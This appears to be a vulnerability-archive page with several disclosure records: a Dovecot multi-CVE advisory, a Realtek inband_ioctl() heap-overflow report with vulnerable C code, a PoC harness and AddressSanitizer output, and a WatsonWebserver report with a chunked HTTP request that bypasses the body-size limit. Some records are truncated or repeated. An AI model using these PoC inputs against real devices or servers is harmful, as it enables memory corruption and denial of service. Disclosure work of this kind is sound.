revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-04-02 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ilyar@yeswehack CVE: CVE-2026-33605 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Details: managesieve-login: Pre-auth crash. An unauthenticated attacker can crash the ManageSieve login process by sending a small malformed command before authenticating. Risk: If running in high-security mode (default for community releases), only the attacker's own connection is terminated. If running in high-performance mode (default for Pro releases), all connections handled by the same managesieve-login process are terminated. Repeating the attack can cause denial of service for Sieve script management. No publicly available exploits are known. Solution: Restrict network access to the ManageSieve service to trusted clients. Update to non-vulnerable version. --- Internal reference: DOV-9039 Type: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-04-08 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: tipsennn@yeswehack CVE: CVE-2026-40018 CVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) Details: MySQL multi-byte escaping wrong. None Risk: None No publicly available exploits are known. Solution: None --- Internal reference: DOV-9041 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot CE core >=2.4.3 <2.4.5 First fixed revision: OX Dovecot CE core 2.4.5 Discovery date: 2026-04-08 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ilyar@yeswehack CVE: CVE-2026-4
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Advisory",
          "vendor": "Dovecot",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
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      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Aki Tuomi"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi!\n\nWe\u0027re sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those \nvulnerabilities. This advisory will also be published at \nhttps://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0003.html\n\n---\n\nClassification: TLP:GREEN\n\nInternal reference: DOV-8476\nType: CWE-403 (Exposure of File Descriptor to Unintended Control Sphere (\u0027File Descriptor Leak\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2025-11-25\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nCVE: CVE-2026-33263\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nsubmission-login: Panic when mail_max_userip_connections is reached: Panic: epoll_ctl(del, 8) failed: Bad file \ndescriptor. When mail_max_userip_connections is set (defaul\nt 10) and reached, submission-login can crash with epoll() panic caused by file descriptor handling issues.\n\nRisk:\nIf running in high-security mode (default for community releases), only the new submission connection gets terminated. \nIf running in high-performance mode (default for Pr\no releases), all connections handled by the submission-login process will be terminated. The crashes can cause failure \nfor user to send a message, or it can cause duplica\nte messages to be sent. If TLS is not used (in the backend server processing the submission), duplicate deliveries \ncannot happen, because the crash can only happen at AUT\nH stage. No publicly available exploits are known.\n\nSolution:\nLimit the number of connections handled by single submission-login process. This has a performance impact though. \nUpdate to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8874\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c3.0.7, OX Dovecot Pro core \u003e=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \n\u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5\nDiscovery date: 2026-03-11\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ylwango613@yeswehack\nCVE: CVE-2026-33607\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nDovecot IMAP LIST match_sub() Exponential Backtracking \u2014 CPU Denial of Service. An attacker that has valid credentials \ncan use IMAP LIST command to consume CPU.\n\nRisk:\nThis can cause degradation or denial of service for IMAP. No publicly available exploits are known.\n\nSolution:\nMonitor system for abnormal CPU usage and kill the offending process and lock account. Alternatively install fixed \nversion.\n\n\n\n---\n\n\n\nInternal reference: DOV-8884\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-13\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nCVE: CVE-2026-27852\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nDoS by sending mail with bad header. An attacker that can send mail to a user can craft a message whose headers contain \na very large number of email addresses or MIME par\nameters, which causes excessive memory usage when the message is later parsed.\n\nRisk:\nThe message is still delivered, but reading it over IMAP can exhaust the memory limit of the process and terminate it, \ncausing denial of service for the affected user. No\n publicly available exploits are known.\n\nSolution:\nUpdate to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8941\nType: CWE-93 (Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: thanos_haruki@yeswehack\nCVE: CVE-2026-33606\nCVSS: 4.8 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N)\n\nDetails:\ndsync: Mail content can cause dsync protocol injection. Mail content stored by a user can be crafted so that it is \ninterpreted as dsync protocol commands when an administ\nrator later runs dsync with the stream protocol, for example during a migration.\n\nRisk:\nInjected commands can modify mailbox state on the destination during migration or replication, including internal \nmailbox attributes that a user should not be able to set\n directly. It can also cause dsync errors. No publicly available exploits are known.\n\nSolution:\nAvoid running dsync with the stream protocol on mailboxes with untrusted content. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8947\nType: CWE-655 (Insufficient Psychological Acceptability)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: heckintosh@yeswehack\nCVE: CVE-2026-33604\nCVSS: 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)\n\nDetails:\nSMTP Smuggling via Missing Dot-Stuffing After Bare Carriage Return. An attacker that can get Dovecot to relay a \nmessage, for example through Sieve redirect or submission \nrelay, can use a crafted line ending in the message body to bypass the outbound protection that prevents message \ncontent from being interpreted as SMTP commands.\n\nRisk:\nA downstream mail server that hasn\u0027t yet fixed the SMTP smuggling vulnerability can be tricked into treating part of \nthe message body as new SMTP commands, allowing injec\ntion of spoofed email. This is the same vulnerability class as CVE-2023-51764 and CVE-2023-51766. No publicly available \nexploits are known.\n\nSolution:\nWhere you control the receiving mail servers, ensure they reject bare carriage returns in message data. Update to \nnon-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8949\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: djvirus@yeswehack\nCVE: CVE-2026-40014\nCVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)\n\nDetails:\nIMAP THREAD REFERENCES O(N\u00b2) CPU DoS via Crafted References Header (index-thread-links.c). An attacker that can send \nmail to a user can craft a message header that makes \nthe IMAP THREAD command consume CPU disproportionate to the size of the message.\n\nRisk:\nWhen a mail client issues a THREAD command on the affected mailbox, this can cause degradation or denial of service for \nIMAP. No publicly available exploits are known.\n\nSolution:\nMonitor system for abnormal CPU usage, kill the offending process and remove the offending message from the affected \nmailbox. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8991\nType: CWE-124 (Buffer Underwrite (\u0027Buffer Underflow\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-04-02\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-40013\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\npigeonhole: Stack Buffer Underflow in Pigeonhole ManageSieve CHECKSCRIPT/PUTSCRIPT. An attacker that has valid \ncredentials can submit a Sieve script containing an extreme\n numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script.\n\nRisk:\nThis causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of service for \nscript management. This might be able to be used for re\nmote code execution. No publicly available exploits are known.\n\nSolution:\nDisable the ManageSieve service if users do not need remote Sieve script management. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8994\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-04-02\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-33605\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nmanagesieve-login: Pre-auth crash. An unauthenticated attacker can crash the ManageSieve login process by sending a \nsmall malformed command before authenticating.\n\nRisk:\nIf running in high-security mode (default for community releases), only the attacker\u0027s own connection is terminated. If \nrunning in high-performance mode (default for Pro \nreleases), all connections handled by the same managesieve-login process are terminated. Repeating the attack can cause \ndenial of service for Sieve script management. No \npublicly available exploits are known.\n\nSolution:\nRestrict network access to the ManageSieve service to trusted clients. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-9039\nType: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5\nDiscovery date: 2026-04-08\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: tipsennn@yeswehack\nCVE: CVE-2026-40018\nCVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\nDetails:\nMySQL multi-byte escaping wrong. None\n\nRisk:\nNone No publicly available exploits are known.\n\nSolution:\nNone\n\n\n\n---\n\n\n\nInternal reference: DOV-9041\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot CE core \u003e=2.4.3 \u003c2.4.5\nFirst fixed revision: OX Dovecot CE core 2.4.5\nDiscovery date: 2026-04-08\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-4"
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GCVE-1988-2026-0077

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:54
VLAI
Title
Realtek edimax 52fc10d19 In-Band Ioctl Response Length Confusion Causes Heap Buffer Overflow
Summary
The Realtek in-band ioctl bridge contains a heap-buffer overflow when processing peer-supplied ioctl response data. inband_ioctl() receives a response through the Realtek in-band transport and extracts a 32-bit data_get_len value from that response. For several wireless "get" operations, this peer-controlled value is subsequently used directly as the length argument to memcpy(). For SIOCGIWSCAN, the destination is a caller-provided buffer referenced through local_iwr->u.data.pointer. Although the caller supplies the destination capacity in local_iwr->u.data.length, the function overwrites that value with the peer-controlled data_get_len before validating whether the returned data fits the destination. As a result, a malicious or compromised in-band peer capable of supplying an oversized response length can cause inband_ioctl() to copy more data than the caller's destination buffer can contain. The supplied PoC creates an *8-byte caller buffer* and returns a peer-controlled data_get_len of *64 bytes*. The original inband_ioctl() implementation consequently performs a *64-byte **memcpy()** into the 8-byte heap allocation*. AddressSanitizer confirms the resulting heap-buffer overflow. Vulnerable Code The response length is extracted from the received in-band data: memcpy( &data_get_len, rx_buf + INBAND_IOCTLHDR_LEN + IWREQ_LEN + ext_len, 4 ); data_get_len = ntohl(data_get_len); data_get_ptr = (char *)( rx_buf + INBAND_IOCTLHDR_LEN + IWREQ_LEN + ext_len + 4 ); For SIOCGIWSCAN, the implementation subsequently performs: case SIOCGIWSCAN: local_iwr = (struct iwreq *)req; local_iwr->u.data.length = data_get_len; memcpy( local_iwr->u.data.pointer, data_get_ptr, data_get_len ); break; The response controls data_get_len, but no validation ensures that: data_get_len <= caller_destination_capacity before the copy. Root Cause The caller initially provides both: u.data.pointer -> destination buffer u.data.length -> destination capacity However, inband_ioctl() performs: local_iwr->u.data.length = data_get_len; before validating the response. This destroys the original caller-provided capacity information. The subsequent copy becomes conceptually equivalent to: size_t attacker_len = response.data_get_len; local_iwr->u.data.length = attacker_len; memcpy( caller_buffer, response_data, attacker_len ); No reliable information about the actual destination capacity remains available at the point of the copy. The implementation also does not sufficiently establish that the received response itself contains data_get_len bytes following the response-length field. Proof of Concept The validation harness compiles the original source: #include "../../../package/librtk-inband/src/hapd_api.c" and stubs only the lower in-band transport functions. The simulated peer response contains: static unsigned char rx_buf[6 + 32 + 4 + 128]; int ret = htonl(0); int attacker_len = htonl(64); memcpy(rx_buf, &ret, sizeof(ret)); memcpy( rx_buf + 6 + 32, &attacker_len, sizeof(attacker_len) ); memset( rx_buf + 6 + 32 + 4, 'A', 64 ); The caller allocates only: small_destination = malloc(8); req.u.data.pointer = small_destination; req.u.data.length = 8; and invokes the original vulnerable function: inband_ioctl(SIOCGIWSCAN, &req); The resulting state is: Caller destination capacity: 8 bytes Peer-controlled data_get_len: 64 bytes memcpy() length: 64 bytes ------------ Overflow beyond destination: 56 bytes The vulnerable memcpy() is executed by the original inband_ioctl() implementation. AddressSanitizer Evidence AddressSanitizer confirms the out-of-bounds heap write: ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 64 #1 ... inband_ioctl package/librtk-inband/src/hapd_api.c:403 #2 ... main src/poc_inband_ioctl_response_overflow.c:80 0x... is located 0 bytes after 8-byte region allocated by thread T0 here: #1 ... main src/poc_inband_ioctl_response_overflow.c:70 The sanitizer evidence therefore directly establishes: Destination allocation: 8 bytes Write size: 64 bytes Overflow: 56 bytes Vulnerable function: inband_ioctl() Result: CONFIRMED Additional Affected Operations The same response-copy pattern is present in additional wireless get operations in the affected block, including: SIOCGIWESSID SIOCGIWRANGE SIOCGIWAP The exact destination differs between operations, but the security issue is structurally similar: a length originating from the in-band response is used to control a memory copy without first validating it against the destination capacity. These additional operations should be audited and individually regression-tested as part of remediation. Security Impact The demonstrated primitive is an out-of-bounds heap write into a caller-provided ioctl result buffer. In the validated case, the response causes *64 bytes to be written into an 8-byte allocation*, corrupting 56 bytes beyond the destination. Potential consequences include: - process termination; - corruption of adjacent heap objects; - corruption of management or wireless-control process state; and - potentially more significant memory corruption depending on allocator layout and target hardening. The current PoC validates the memory-corruption primitive in the original inband_ioctl() implementation while stubbing the underlying in-band transport. It does not independently establish a complete network exploitation chain or arbitrary code execution. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Realtek edimax 52fc10d19 Affected: unknown
Create a notification for this product.
Credits

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          "value": "The Realtek in-band ioctl bridge contains a heap-buffer overflow when\nprocessing peer-supplied ioctl response data.\n\ninband_ioctl() receives a response through the Realtek in-band transport\nand extracts a 32-bit data_get_len value from that response. For several\nwireless \"get\" operations, this peer-controlled value is subsequently used\ndirectly as the length argument to memcpy().\n\nFor SIOCGIWSCAN, the destination is a caller-provided buffer referenced\nthrough local_iwr-\u003eu.data.pointer.\n\nAlthough the caller supplies the destination capacity in\nlocal_iwr-\u003eu.data.length, the function overwrites that value with the\npeer-controlled data_get_len before validating whether the returned data\nfits the destination.\n\nAs a result, a malicious or compromised in-band peer capable of supplying\nan oversized response length can cause inband_ioctl() to copy more data\nthan the caller\u0027s destination buffer can contain.\n\nThe supplied PoC creates an *8-byte caller buffer* and returns a\npeer-controlled data_get_len of *64 bytes*. The original inband_ioctl()\nimplementation consequently performs a *64-byte **memcpy()** into the\n8-byte heap allocation*.\n\nAddressSanitizer confirms the resulting heap-buffer overflow.\nVulnerable Code\n\nThe response length is extracted from the received in-band data:\n\nmemcpy(\n    \u0026data_get_len,\n    rx_buf + INBAND_IOCTLHDR_LEN + IWREQ_LEN + ext_len,\n    4\n);\n\ndata_get_len = ntohl(data_get_len);\n\ndata_get_ptr =\n    (char *)(\n        rx_buf +\n        INBAND_IOCTLHDR_LEN +\n        IWREQ_LEN +\n        ext_len +\n        4\n    );\n\nFor SIOCGIWSCAN, the implementation subsequently performs:\n\ncase SIOCGIWSCAN:\n    local_iwr = (struct iwreq *)req;\n    local_iwr-\u003eu.data.length = data_get_len;\n    memcpy(\n        local_iwr-\u003eu.data.pointer,\n        data_get_ptr,\n        data_get_len\n    );\n    break;\n\nThe response controls data_get_len, but no validation ensures that:\n\ndata_get_len \u003c= caller_destination_capacity\n\nbefore the copy.\nRoot Cause\n\nThe caller initially provides both:\n\nu.data.pointer -\u003e destination buffer\nu.data.length  -\u003e destination capacity\n\nHowever, inband_ioctl() performs:\n\nlocal_iwr-\u003eu.data.length = data_get_len;\n\nbefore validating the response.\n\nThis destroys the original caller-provided capacity information.\n\nThe subsequent copy becomes conceptually equivalent to:\n\nsize_t attacker_len = response.data_get_len;\n\nlocal_iwr-\u003eu.data.length = attacker_len;\n\nmemcpy(\n    caller_buffer,\n    response_data,\n    attacker_len\n);\n\nNo reliable information about the actual destination capacity remains\navailable at the point of the copy.\n\nThe implementation also does not sufficiently establish that the received\nresponse itself contains data_get_len bytes following the response-length\nfield.\nProof of Concept\n\nThe validation harness compiles the original source:\n\n#include \"../../../package/librtk-inband/src/hapd_api.c\"\n\nand stubs only the lower in-band transport functions.\n\nThe simulated peer response contains:\n\nstatic unsigned char rx_buf[6 + 32 + 4 + 128];\n\nint ret = htonl(0);\nint attacker_len = htonl(64);\n\nmemcpy(rx_buf, \u0026ret, sizeof(ret));\n\nmemcpy(\n    rx_buf + 6 + 32,\n    \u0026attacker_len,\n    sizeof(attacker_len)\n);\n\nmemset(\n    rx_buf + 6 + 32 + 4,\n    \u0027A\u0027,\n    64\n);\n\nThe caller allocates only:\n\nsmall_destination = malloc(8);\n\nreq.u.data.pointer = small_destination;\nreq.u.data.length = 8;\n\nand invokes the original vulnerable function:\n\ninband_ioctl(SIOCGIWSCAN, \u0026req);\n\nThe resulting state is:\n\nCaller destination capacity:      8 bytes\nPeer-controlled data_get_len:   64 bytes\nmemcpy() length:                    64 bytes\n                                             ------------\nOverflow beyond destination:    56 bytes\n\nThe vulnerable memcpy() is executed by the original inband_ioctl()\nimplementation.\nAddressSanitizer Evidence\n\nAddressSanitizer confirms the out-of-bounds heap write:\n\nERROR: AddressSanitizer: heap-buffer-overflow\n\nWRITE of size 64\n\n    #1 ... inband_ioctl\n    package/librtk-inband/src/hapd_api.c:403\n\n    #2 ... main\n    src/poc_inband_ioctl_response_overflow.c:80\n\n0x... is located 0 bytes after 8-byte region\n\nallocated by thread T0 here:\n\n    #1 ... main\n    src/poc_inband_ioctl_response_overflow.c:70\n\nThe sanitizer evidence therefore directly establishes:\n\nDestination allocation:    8 bytes\nWrite size:               64 bytes\nOverflow:                 56 bytes\nVulnerable function:      inband_ioctl()\nResult:                   CONFIRMED\n\nAdditional Affected Operations\n\nThe same response-copy pattern is present in additional wireless get\noperations in the affected block, including:\n\nSIOCGIWESSID\nSIOCGIWRANGE\nSIOCGIWAP\n\nThe exact destination differs between operations, but the security issue is\nstructurally similar: a length originating from the in-band response is\nused to control a memory copy without first validating it against the\ndestination capacity.\n\nThese additional operations should be audited and individually\nregression-tested as part of remediation.\nSecurity Impact\n\nThe demonstrated primitive is an out-of-bounds heap write into a\ncaller-provided ioctl result buffer.\n\nIn the validated case, the response causes *64 bytes to be written into an\n8-byte allocation*, corrupting 56 bytes beyond the destination.\n\nPotential consequences include:\n\n   - process termination;\n   - corruption of adjacent heap objects;\n   - corruption of management or wireless-control process state; and\n   - potentially more significant memory corruption depending on allocator\n   layout and target hardening.\n\nThe current PoC validates the memory-corruption primitive in the original\ninband_ioctl() implementation while stubbing the underlying in-band\ntransport. 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GCVE-1988-2026-0076

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:53
VLAI
Title
WatsonWebserver v7.1.0 HTTP/1 Chunked Request Processing Bypasses MaxRequestBodySize
Summary
WatsonWebserver contains an HTTP/1 request body size-limit bypass when processing requests using Transfer-Encoding: chunked. The framework's configured Settings.IO.MaxRequestBodySize limit is enforced when a request declares its body size using Content-Length. However, requests using chunked transfer encoding are processed through a separate body-reading path that accumulates decoded chunks into a MemoryStream without enforcing the same cumulative request-body limit. As a result, a remote client can submit an HTTP/1 request whose decoded body exceeds the administrator-configured MaxRequestBodySize by using chunked transfer encoding instead of Content-Length. A proof of concept configured: MaxRequestBodySize = 16 bytes and submitted a chunked request containing: 24 bytes of decoded body data. WatsonWebserver accepted the complete request, delivered all 24 bytes to the application, and returned: HTTP/1.1 200 OK len=24 This confirms that MaxRequestBodySize is not consistently enforced across supported HTTP/1 request-framing mechanisms. Because the chunked body is accumulated in memory without a cumulative MaxRequestBodySize check, an attacker may also be able to cause excessive memory and CPU consumption by submitting substantially larger request bodies. The supplied PoC directly demonstrates the size-limit bypass; denial of service is a potential consequence rather than a demonstrated result of the 24-byte test. Vulnerability Description WatsonWebserver provides the following configuration setting for restricting HTTP request body size: Settings.IO.MaxRequestBodySize For HTTP/1 requests containing a Content-Length header, WatsonWebserver parses the declared body size and rejects the request when it exceeds the configured maximum. However, HTTP/1 also permits request bodies to be framed using: Transfer-Encoding: chunked Chunked requests do not contain a single up-front Content-Length. Instead, the body is transmitted as a sequence of independently sized chunks. WatsonWebserver handles these requests through ReadChunkedBodyAsync(), which repeatedly reads chunks and writes their contents into an in-memory MemoryStream. The implementation does not maintain a cumulative decoded-body length and does not compare the accumulated size against Settings.IO.MaxRequestBodySize . Consequently, a client can bypass the configured request body limit simply by changing the HTTP framing mechanism from Content-Length to Transfer-Encoding: chunked. Technical AnalysisContent-Length Path When WatsonWebserver encounters a request containing Content-Length, the parsed length is stored in: metadata.ContentLength = parsedContentLength; The framework subsequently enforces MaxRequestBodySize: if (settings.IO.MaxRequestBodySize > 0 && metadata.ContentLength > settings.IO.MaxRequestBodySize) { throw new IOException( "Request body size " + metadata.ContentLength + " exceeds maximum allowed size " + settings.IO.MaxRequestBodySize + "."); } The configured maximum is therefore enforced for requests whose body length is known through Content-Length. Chunked Request Path Requests using: Transfer-Encoding: chunked follow a different body-processing path. The relevant implementation is: private async Task<byte[]> ReadChunkedBodyAsync( CancellationToken token) { using (MemoryStream memoryStream = new MemoryStream()) { while (true) { Chunk chunk = await ReadChunk(token) .ConfigureAwait(false); if (chunk.Data != null && chunk.Data.Length > 0) { memoryStream.Write( chunk.Data, 0, chunk.Data.Length); } if (chunk.IsFinal) break; } _BodyComplete = true; return memoryStream.ToArray(); } } Each decoded chunk is appended directly to the MemoryStream: memoryStream.Write( chunk.Data, 0, chunk.Data.Length); There is no equivalent check against: Settings.IO.MaxRequestBodySize before the write. The loop continues until the terminating chunk is received. Proof of ConceptServer Configuration The proof of concept configures WatsonWebserver with: server.Settings.IO.MaxRequestBodySize = 16; The maximum accepted request body should therefore be: 16 bytes Malicious Request The client submits a valid chunked HTTP/1 request: POST / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked Connection: close 8 abcdefgh 8 ijklmnop 8 qrstuvwx 0 The request contains three chunks. Each chunk contains: 8 bytes giving a cumulative decoded request body of: 8 + 8 + 8 = 24 bytes The body therefore exceeds the configured limit by: 24 - 16 = 8 bytes or: 150% of the configured maximum. Observed HTTP Response WatsonWebserver accepts the request and returns: HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 6 Date: Thu, 06 Aug 2026 01:16:34 GMT Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: */* Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Cache-Control: no-cache Host: 127.0.0.1:44009 len=24 The application reports: len=24 confirming that the complete decoded body reached the application despite: MaxRequestBodySize = 16 Security ImpactConfirmed Impact The PoC directly demonstrates that a remote HTTP client can bypass the configured: Settings.IO.MaxRequestBodySize restriction when using chunked transfer encoding. The confirmed impact is therefore: - bypass of the configured HTTP request-body size restriction; - acceptance of request bodies larger than the administrator-defined maximum; and - in-memory processing of data that should have been rejected by the configured limit. Resource Consumption The affected chunked path accumulates the decoded body in a MemoryStream: memoryStream.Write( chunk.Data, 0, chunk.Data.Length); and ultimately performs: return memoryStream.ToArray(); Because there is no cumulative MaxRequestBodySize check in this path, substantially larger request bodies can potentially consume increasing amounts of process memory and processing time. Depending on deployment configuration, available resources, concurrency, reverse proxies, transport timeouts, and application-specific controls, this may contribute to: - excessive memory consumption; - increased CPU utilization; - request-processing degradation; and - denial of service. The supplied 24-byte PoC demonstrates the *security-control bypass*, not resource exhaustion itself. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & 